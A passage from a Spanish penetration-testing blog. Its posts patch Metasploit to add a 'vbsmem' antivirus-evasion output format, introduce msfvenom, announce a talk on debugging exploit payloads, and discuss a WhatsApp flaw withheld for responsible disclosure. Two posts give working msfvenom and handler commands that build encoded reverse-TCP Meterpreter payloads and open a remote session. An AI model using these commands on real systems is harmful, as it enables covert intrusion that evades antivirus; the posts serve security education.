jueves, 14 de julio de 2011

Parcheando VBSMem en Metasploit

Hace algunas semanas publiqué una serie de posts [1] [2] [3] [4] que hablaban de una posible manera de saltarse la detección de un antivirus mediante el uso de Metasploit. En el último de ellos hablaba de que había utilizado una versión en desarrollo de msfencode para generar un fichero Visual Basic Script (VBS) que contenía el cuerpo del Meterpreter y que lo cargaba en memoria directamente, sin alertar al antivirus de lo que estaba pasando.

Pues bien, varias personas me han escrito correos y comentarios en el blog comentando que no acaban de ver como aplicar el parche, así que me he decidido a poner este post explicándolo, así que allá vamos:

En el Redmine de Metasploit (el sistema que usan para que les reporten los fallos) podemos leer en este ticket como se está desarrollando una opción de encoding adicional llamada vbsmem, y que como acabamos de comentar aporta la funcionalidad que necesitamos para saltarnos a este antivirus sobre el que hacíamos pruebas. El parche lo podemos descargar de AQUÍ, para ser aplicado sobre la revisión 11873 de Metasploit, mientras que en este momento tengo la revisión 13129, así que podría resultar peligroso aplicar el parche directamente, porque podríamos dejar los ficheros afectados inservibles.

En lugar de eso, vamos a pegarle un vistazo al PARCHE, y veremos que hace modificaciones sobre dos ficheros:

  1. Añade una función to_win32_vbsmem al fichero lib/msf/util/exe.rb
  2. Añade una opción vbsmem al switch en el que se comprueba la opción del tipo de encoding para llamar a esta función que acabamos de crear.
  3. Añade una opción vbsmem a la lista de formatos de la ayuda (o eso parece)
  4. Crea un nuevo fichero data/templates/vbsmem.vbs, que es una plantilla para la creación de los ficheros.

Son modificaciones bastante sencillas, así que podemos aplicarlas a mano sobre nuestra versión de los ficheros, así nos aseguramos que no corrompemos nada ni nada parecido. Vamos a ello:

1. Ante todo, una copia del original, solo por si acaso:

$ cp lib/msf/util/exe.rb lib/msf/util/exe.rb-original


2. Ahora editamos el fichero con "vi" (o con cualquier otro editor) y buscamos la cadena "def self.to_exe_vbs", que es la definición de la función inmediatamente anterior a la nueva función que vamos a crear:

3. Añadimos la función to_win32_vbsmem copiándola y pegándola del parche. Si fuera más grande podríamos haber utilizado el comando "sed" o equivalente para eliminar el símbolo "+" del principio de las lineas, pero en este caso solo son unas pocas lineas, podemos hacerlo a mano.

4. Ahora buscamos la cadena "/when 'vbs'" y añadimos lo siguiente (lo que está en negrita):

when 'vba'
    exe = Msf::Util::EXE.to_win32pe(framework, code, exeopts)
    output = Msf::Util::EXE.to_exe_vba(exe)

when 'vbsmem'
    output = Msf::Util::EXE.to_win32_vbsmem(framework, code, exeopts)

when 'vbs'
    output = Msf::Util::EXE.to_win32pe_vbs(framework, code, exeopts.merge({ :persist => false }))

5. Buscamos ahora la cadena "self.to_executable_fmt_formats", bajo la cual añadiremos lo siguiente (en negrita):

def self.to_executable_fmt_formats
    ['dll','exe','exe-small','elf','macho','vba','vbsmem','vbs','loop-vbs','asp','war']
end

Ya tenemos el fichero lib/msf/util/exe.rb listo, ahora tenemos que crear el fichero data/templates/vbsmem.vbs con la información que hay en el parche, pero quitándole los símbolos "+", igual que antes.

$ cat vbsmem-1.2.1.patch | tail -657 | sed 's/+//' > data/templates/vbsmem.vbs

Parece que ahora ya lo tenemos todo, así que vamos a generar un Meterpreter en VBSMem para comprobar que todo nos ha funcionado correctamente.

Primero miramos la ayuda de MSFVenom o MSFEncode, y veremos algo así:


$ ./msfvenom --help
Usage: ./msfvenom [options]


Options:
    -p, --payload    [payload]       Payload to use. Specify a '-' or stdin to use custom payloads
    -l, --list       [module_type]   List a module type example: payloads, encoders, nops, all
    -n, --nopsled    [length]        Prepend a nopsled of [length] size on to the payload
    -f, --format     [format]        Format to output results in: raw, ruby, rb, perl, pl, c, js_be, js_le, java, dll, exe, exe-small, elf, macho, vba, vbsmem, vbs, loop-vbs, asp, war
    -e, --encoder    [encoder]       The encoder to use
    -a, --arch       [architecture]  The architecture to use
        --platform   [platform]
                                     The platform of the payload
    -s, --space      [length]        The maximum size of the resulting payload
    -b, --bad-chars  [list]          The list of characters to avoid example: '\x00\xff'
    -i, --iterations [count]         The number of times to encode the payload
    -c, --add-code   [path]          Specify an additional win32 shellcode file to include
    -x, --template   [path]          Specify a custom executable file to use as a template
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread
    -h, --help                       Show this message

La opción está claro que nos aparece, a ver si además de aparecer funciona:

$ ./msfvenom --payload windows/meterpreter/reverse_tcp --format vbsmem LHOST=172.16.146.1 > meterpreter.vbs

Ahora ponemos a la escucha un handler para que reciba la conexión reversa:

$ ./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=0.0.0.0 E

Por último, nos llevamos el VBS a un servidor windows y lo ejecutamos, a ver que pasa:


[*] Started reverse handler on 0.0.0.0:4444 
[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 172.16.146.128
[*] Meterpreter session 1 opened (172.16.146.1:4444 -> 172.16.146.128:1049) at Wed Jul 13 23:33:04 +0200 2011
meterpreter > sysinfo
System Language : es_ES
OS              : Windows XP (Build 2600, Service Pack 3).
Computer        : DESKTOP
Architecture    : x86
Meterpreter     : x86/win32


Parece que hemos conseguido parchear correctamente nuestro Metasploit para emplear la salida vbsmem, que empleábamos en anteriores posts para evadir a los antivirus.

lunes, 11 de julio de 2011

Debugging (Exploit) Payload en NcN 2011

Como ya anunciamos hace unos meses, los próximos 16 y 17 de Septiembre tendrá lugar en Barcelona la conferencias No cON Name, la pionera de las conferencias de seguridad españolas a la que ya tuvimos la suerte de poder asistir el año pasado tras haber desaparecido durante unos años.

Este año, al igual que sucedió el año pasado, ha sido aceptada la propuesta de charla que presenté hace unos meses.

¿Cuántos de vosotros habéis lanzado alguna vez un exploit que, sin saber por qué, no ha funcionado? Versión del software vulnerable, plataforma vulnerable, el payload elegido es adecuado para la plataforma que estamos explotando... todo correcto, pero nuestro exploit no funciona y no conseguimos obtener la tan ansiada shell.

Cualquiera que se haya dedicado a hacer test de intrusión seguro que se siente familiarizado con esta situación. En la charla que daré en la No cOn Name, titulada "Debugging (Exploit) Payloads", veremos que podemos hacer para, sin ser un crack del ensamblador y del bajo nivel, depurar un poco qué hacen los exploits que estamos lanzando, y de esta manera saber mejor lo que hacen, el daño que podemos causar si funcionan mal, aconsejar unas contramedidas más adecuadas, o incluso modificarlo para hacerlo funcionar correctamente.

La presentación acabará con una demostración de un payload de un exploit que no funcionaba y con el que tuve que lidiar realizando un test de intrusión real. En la demo veremos como analizamos el funcionamiento de este payload, averiguaremos exactamente como funciona, detectaremos el por qué está fallando y lo corregiremos para que funcione.

Para más información... ¡os esperamos el 16 y 17 de Septiembre en Barcelona!

miércoles, 6 de julio de 2011

Metasploit MSFVenom

Hace unas semanas, durante una de mis actualizaciones del Metasploit Framework ví aparecer un nuevo comando llamado "msfvenom". No había leído nada en el blog de Metasploit ni en ningún otro lado, pero con ese nombre tenía que ser algo bueno, así que miré la ayuda del comando a ver si averiguaba que hacía el nuevo jueguete:

$ ./msfvenom --help
Usage: ./msfvenom [options]
Options:
-p, --payload    [payload]       Payload to use. Specify a '-' or stdin to use custom payloads
-l, --list       [module_type]   List a module type example: payloads, encoders, nops, all
-n, --nopsled    [length]        Prepend a nopsled of [length] size on to the payload
-f, --format     [format]        Format to output results in: raw, ruby, rb, perl, pl, c, js_be, js_le, java, dll, exe, exe-small, elf, macho, vba, vbs, loop-vbs, asp, war
-e, --encoder    [encoder]       The encoder to use
-a, --arch       [architecture]  The architecture to use
    --platform   [platform]
    The platform of the payload
-s, --space      [length]        The maximum size of the resulting payload
-b, --bad-chars  [list]          The list of characters to avoid example: '\x00\xff'
-i, --iterations [count]         The number of times to encode the payload
-c, --add-code   [path]          Specify an additional win32 shellcode file to include
-x, --template   [path]          Specify a custom executable file to use as a template
-k, --keep                       Preserve the template behavior and inject the payload as a new thread
-h, --help                       Show this message


Visto lo visto, y después de jugar un rato, podemos decir que "msfvenom" simplemente es una unificación de los binarios "msfpayload" y "msfencode" que todos hemos utilizado para generar payloads de Metasploit para que funcionen de forma independiente, o para importarlos en nuestros exploits fuera del framework, y cifrarlo.

Por hacer un repaso, hasta ahora, si quisiéramo generar un Payload de tipo Meterpreter para Windows y encodearlo con 10 iteraciones de alguno de los algoritmos, tendríamos que llamar a msfpayload señalando la salida como Raw, y concatenar esta con msfencode:

$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.100 R | ./msfencode -e x86/shikata_ga_nai -c 10 -t exe -o meterpreter.exe

Ahora, con el nuevo comando, sería lo mismo, pero sin tener que usar tuberías ni elegir formato Raw primero:

$ ./msfvenom --payload windows/meterpreter/reverse_tcp --format exe --encoder x86/shikata_ga_nai --iterations 10 LHOST=192.168.1.100 > meterpreter.exe

Por lo demás, usaríamos este binario de su forma habitual, y por supuesto tiene muchas más opciones para elegir patrones diferentes para crear los binarios, igual que sucedía con "msfpayload" y "msfencode".

lunes, 4 de julio de 2011

Auditing Mobile Apps (Sin Demo)

Como ya comentamos en un anterior post, la semana pasada tuve la oportunidad de dar una charla dentro del IV Curso de Verano de Seguridad y Auditoría Informática que organizaron en la Universidad Europea de Madrid.

El tema de la publicación de las slides es algo que me he pensado bastante si hacer o no, porque durante la charla, como demostración de qué tipo de cosas se pueden encontrar auditando aplicaciones para móviles, enseñé una vulnerabilidad en la conocida aplicación WhatsApp que permitía el robo de cuentas de usuario, y por lo tanto la suplantación de identidad de cualquier usuario del servicio.

La vulnerabilidad fue descubierta durante una tarea de investigación sobre este tipo de aplicaciones, y en el momento de escribir estas lineas se trata de un 0-Day del que no existe una versión no vulnerable por parte del fabricante.

Al final, aunque el Full-Disclosure resulta mucho más divertido, tras consultarlo con el responsable del Departamento de Auditoría de S21sec, decidimos hacer un Responsable-Disclosure, por lo que hemos decidido eliminar de la presentación las slides que daban los detalles técnicos de la vulnerabilidad y notificar al equipo de desarrollo de WhatsApp para que la corrijan antes de sacar el advisory.

De cualquier modo, el resto de las slides las he subido a SlideShare para que los que asististeis (y los que no) las podáis ver, aunque la verdad es que sin las transiciones del KeyNote y los ácidos chistes sin gracia del ponente, no es lo mismo :P




ACTUALIZACIÓN! Parece ser que en la presentación SlideShare no se aprecian muy bien las transiciones y por tanto no se ven muy claras algunas cosas, sobretodo la parte del MitM HTTPS, así que he exportado la presentación a video y también la he subido.